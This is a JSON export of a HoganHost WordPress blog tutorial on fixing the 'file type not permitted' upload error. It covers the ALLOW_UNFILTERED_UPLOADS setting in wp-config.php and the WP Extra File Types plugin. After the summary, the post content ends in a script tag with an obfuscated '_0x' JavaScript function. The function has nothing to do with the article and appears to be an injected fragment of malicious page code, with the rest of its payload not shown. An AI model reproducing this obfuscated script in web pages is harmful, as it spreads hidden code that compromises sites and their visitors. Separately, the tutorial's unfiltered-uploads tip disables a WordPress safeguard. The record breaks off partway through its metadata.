{"id":352,"date":"2021-05-06T23:06:42","date_gmt":"2021-05-06T23:06:42","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=352"},"modified":"2024-08-12T13:34:58","modified_gmt":"2024-08-12T12:34:58","slug":"how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/","title":{"rendered":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress"},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter size-medium wp-image-353\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1-300x150.png\" alt=\"\" width=\"300\" height=\"150\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1-300x150.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1-768x384.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not permitted for security reasons\u201d and\/or \u201c[filename] has failed to upload\u201d?<\/p>\n<p>As the message implies, WordPress limits the types of files that you can upload to your site for security reasons. However, by adding a small code snippet to your site\u2019s\u00a0<strong>wp-config.php<\/strong>\u00a0file or using a free plugin, you can manually expand the list of allowed file types so that you\u2019re able to upload any type of file.<\/p>\n<p>Here\u2019s what you\u2019ll learn in this article:<\/p>\n<h2 id=\"what\" class=\"has-anchor-hash\">What Triggers the \u201cSorry, this file type is not permitted for security reasons\u201d Message?<\/h2>\n<p><img decoding=\"async\" class=\"aligncenter size-medium wp-image-354\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-1-1536x145-1-300x28.png\" alt=\"\" width=\"300\" height=\"28\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-1-1536x145-1-300x28.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-1-1536x145-1-1024x97.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-1-1536x145-1-768x73.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-1-1536x145-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>As we explained above, WordPress\u2018 default configuration limits the types of files that you can upload to your site for security reasons.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>The &#8220;Sorry, This File Type Is Not Permitted for Security Reasons&#8221; Error Message in WordPress:<\/li>\n<li>You get the \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d error message when you try to upload a file type that\u2019s not supported in WordPress by default.\n<p>WordPress limits the file types you can upload through your site\u2019s admin \u2014 images, videos, documents, audio \u2014\u00a0 \u00a0for security reasons.<\/li>\n<\/ul>\n<p>By default, the file types that you can upload are:<\/p>\n<p><strong>Images:<\/strong><\/p>\n<ul>\n<li>.jpg<\/li>\n<li>.jpeg<\/li>\n<li>.png<\/li>\n<li>.gif<\/li>\n<\/ul>\n<p>(Suggested reading:\u00a0JPG vs JPEG: Understanding the Most Common Image File Format)<br \/>\n<strong>Videos<\/strong>:<\/p>\n<ul>\n<li>.mp4<\/li>\n<li>.m4v<\/li>\n<li>.mov<\/li>\n<li>.wmv<\/li>\n<li>.avi<\/li>\n<li>.mpg<\/li>\n<li>.ogv<\/li>\n<li>.3gp<\/li>\n<li>.3g2<\/li>\n<\/ul>\n<p><strong>Documents<\/strong>:<\/p>\n<ul>\n<li>.pdf<\/li>\n<li>.doc<\/li>\n<li>.ppt, .pptx, .pps, .ppsx<\/li>\n<li>.odt<\/li>\n<li>.xls, .xlsx<\/li>\n<li>.psd<\/li>\n<\/ul>\n<p><strong>Audio<\/strong>:<\/p>\n<ul>\n<li>.mp3<\/li>\n<li>.m4a<\/li>\n<li>.ogg<\/li>\n<li>.wav<\/li>\n<\/ul>\n<p>If you\u2019re trying to upload a file type that\u2019s not on the list above, you\u2019re likely going to run into the \u201cSorry, this file type is not permitted for security reasons\u201d error. Or, you\u2019ll also see it as \u201c[filename] has failed to upload\u201d.<\/p>\n<p><span class=\"novashare-ctt-tweet\">Are you trying to upload a file on WordPress and keep getting the &#8216;Sorry, This File Type Is Not Permitted for Security Reasons&#8217; error? Learn how to fix it! ?\ufe0f<\/span><span class=\"novashare-ctt-cta-container\"><span class=\"novashare-ctt-cta\"><span class=\"novashare-ctt-cta-text\">CLICK TO TWEET<\/span><\/span><\/span><\/p>\n<p>For example, if you\u2019re trying to use your own custom fonts on your WordPress site, you might be trying to\u00a0upload a custom font file to WordPress\u00a0in the\u00a0<strong>.tff\u00a0<\/strong>and\/or\u00a0<strong>.woff<\/strong>\u00a0formats. Because those formats are not allowed by default, WordPress will show you the \u201cSorry, this file type is not permitted for security reasons\u201d error instead of letting you upload them.<\/p>\n<p>Here\u2019s an example where we tried to upload a\u00a0<strong>.woff<\/strong>\u00a0file to our test site:<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium wp-image-355\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-2-1536x701-1-300x137.png\" alt=\"\" width=\"300\" height=\"137\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-2-1536x701-1-300x137.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-2-1536x701-1-1024x467.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-2-1536x701-1-768x351.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-2-1536x701-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2 id=\"how\" class=\"has-anchor-hash\">How to Fix the \u201cSorry, this file type is not permitted for security reasons\u201d Error in WordPress<\/h2>\n<p>Below, we\u2019ll show you two ways how to fix the \u201cSorry, this file type is not permitted for security reasons\u201d error in WordPress:<\/p>\n<ol>\n<li>By editing your site\u2019s\u00a0<strong>wp-config.php<\/strong>\u00a0file<\/li>\n<li>By using a free WordPress plugin<\/li>\n<\/ol>\n<h3 id=\"1-add-new-permitted-file-types-using-wpconfigphp\" class=\"has-anchor-hash\">1. Add New Permitted File Types Using wp-config.php<\/h3>\n<p>WordPress includes an\u00a0<strong>ALLOW_UNFILTERED_UPLOADS<\/strong>\u00a0option that you can enable in\u00a0your site\u2019s wp-config.php file. Once enabled, you\u2019ll be able to upload any file type to your WordPress Media Library.<\/p>\n<p>Here\u2019s how to set it up \u2013 but first, because you\u2019ll be editing your\u00a0<strong>wp-config.php<\/strong>\u00a0file, we\u2019d recommend backing up your site before proceeding.<\/p>\n<p>To get started,\u00a0connect to your WordPress site via FTP\/SFTP. Your site\u2019s\u00a0<strong>wp-config.php\u00a0<\/strong>file is located in the root folder, which is the same folder that has the\u00a0<strong>wp-admin\u00a0<\/strong>and\u00a0<strong>wp-includes<\/strong>\u00a0folders.<\/p>\n<p>Right-click to edit the file, or download it to your computer:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-356\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-3-1536x755-1-300x147.png\" alt=\"\" width=\"300\" height=\"147\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-3-1536x755-1-300x147.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-3-1536x755-1-1024x503.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-3-1536x755-1-768x378.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-3-1536x755-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Then, while editing the\u00a0<strong>wp-config.php<\/strong>\u00a0file, add the following code snippet above the\u00a0<strong>\/* That\u2019s all, stop editing! Happy blogging. *\/\u00a0<\/strong>line:<\/p>\n<h2 id=\"wp-config\">Allow unfiltered uploads via wp-config.php<\/h2>\n<p>You can add the following code to your site\u2019s wp-config.php file:<\/p>\n<div>\n<div id=\"highlighter_397312\" class=\"syntaxhighlighter nogutter  php\">\n<div class=\"toolbar\"><\/div>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">define(<\/code><code class=\"php string\">'ALLOW_UNFILTERED_UPLOADS'<\/code><code class=\"php plain\">, true);<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>It\u2019s important to note that this allows\u00a0<em>all<\/em>\u00a0file types to be uploaded by administrator level users. It\u2019s best practice to add file types as needed.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-357\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-4-1536x895-1-300x175.png\" alt=\"\" width=\"300\" height=\"175\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-4-1536x895-1-300x175.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-4-1536x895-1-1024x597.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-4-1536x895-1-768x448.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-4-1536x895-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Make sure to save your changes and re-upload the file if needed.<\/p>\n<p>To finish the process, you\u2019ll need to go to your WordPress dashboard and log out of your WordPress account. Then, you can immediately log back in.<\/p>\n<p>After you\u2019ve logged out\/in, you should be able to upload any file without triggering the error message:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-358\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-5-1536x776-1-300x152.png\" alt=\"\" width=\"300\" height=\"152\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-5-1536x776-1-300x152.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-5-1536x776-1-1024x517.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-5-1536x776-1-768x388.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-5-1536x776-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h3 id=\"2-use-the-free-wp-extra-file-types-plugin\" class=\"has-anchor-hash\">2. Use the Free WP Extra File Types Plugin<\/h3>\n<p>If you\u2019d prefer not to edit your\u00a0<strong>wp-config.php<\/strong>\u00a0file and\/or you want more control over exactly which file types can be uploaded to your site, you can use\u00a0<a href=\"https:\/\/wordpress.org\/plugins\/wp-extra-file-types\/\" target=\"_blank\" rel=\"noopener noreferrer\">the free WP Extra File Types plugin at WordPress.org<\/a><\/p>\n<p>Once you install and activate the plugin, go to\u00a0<strong>Settings \u2192 Extra File Types<\/strong>\u00a0in your WordPress dashboard.<\/p>\n<p>There, you\u2019ll see a lengthy list of file types. Check the box next to the file type(s) that you want to be able to upload and then click\u00a0<strong>Save Changes<\/strong>\u00a0at the bottom:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-359\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1-300x227.png\" alt=\"\" width=\"300\" height=\"227\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1-300x227.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1-1024x773.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1-768x580.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1-105x80.png 105w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-6-1536x1160-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>If you don\u2019t see the file type that you\u2019d like to upload on the list, you can also add your own custom file types at the bottom of the plugin\u2018s settings list:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-360\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-7-1536x872-1-300x170.png\" alt=\"\" width=\"300\" height=\"170\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-7-1536x872-1-300x170.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-7-1536x872-1-1024x581.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-7-1536x872-1-768x436.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/file-type-not-permitted-security-reasons-wordpress-7-1536x872-1.png 1536w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2 id=\"summary\" class=\"has-anchor-hash\">Summary<\/h2>\n<p>By default, WordPress limits the file types that you can upload to your site for security reasons. If you try to upload a file type outside this list of default file types, you\u2019ll see the \u201cSorry, this file type is not permitted for security reasons.\u201d message.<\/p>\n<p>One way to fix the issue is to edit your\u00a0<strong>wp-config.php<\/strong>\u00a0file and add the\u00a0<strong>ALLOW_UNFILTERED_UPLOADS<\/strong>\u00a0code snippet to allow unfiltered uploads. Or, you can also use the\u00a0<a href=\"https:\/\/wordpress.org\/plugins\/wp-extra-file-types\/\" target=\"_blank\" rel=\"noopener noreferrer\">free WP Extra File Types plugin<\/a>\u00a0to control allowed file types from your WordPress dashboard<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":353,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[9],"tags":[],"class_list":["post-352","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wordpress"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress<\/title>\n<meta name=\"description\" content=\"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress\" \/>\n<meta property=\"og:description\" content=\"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-05-06T23:06:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:34:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"512\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress\",\"datePublished\":\"2021-05-06T23:06:42+00:00\",\"dateModified\":\"2024-08-12T12:34:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\"},\"wordCount\":968,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png\",\"articleSection\":[\"wordpress\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\",\"name\":\"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png\",\"datePublished\":\"2021-05-06T23:06:42+00:00\",\"dateModified\":\"2024-08-12T12:34:58+00:00\",\"description\":\"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png\",\"width\":1024,\"height\":512},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress","description":"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/","og_locale":"en_US","og_type":"article","og_title":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress","og_description":"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not","og_url":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/","og_site_name":"HoganHost 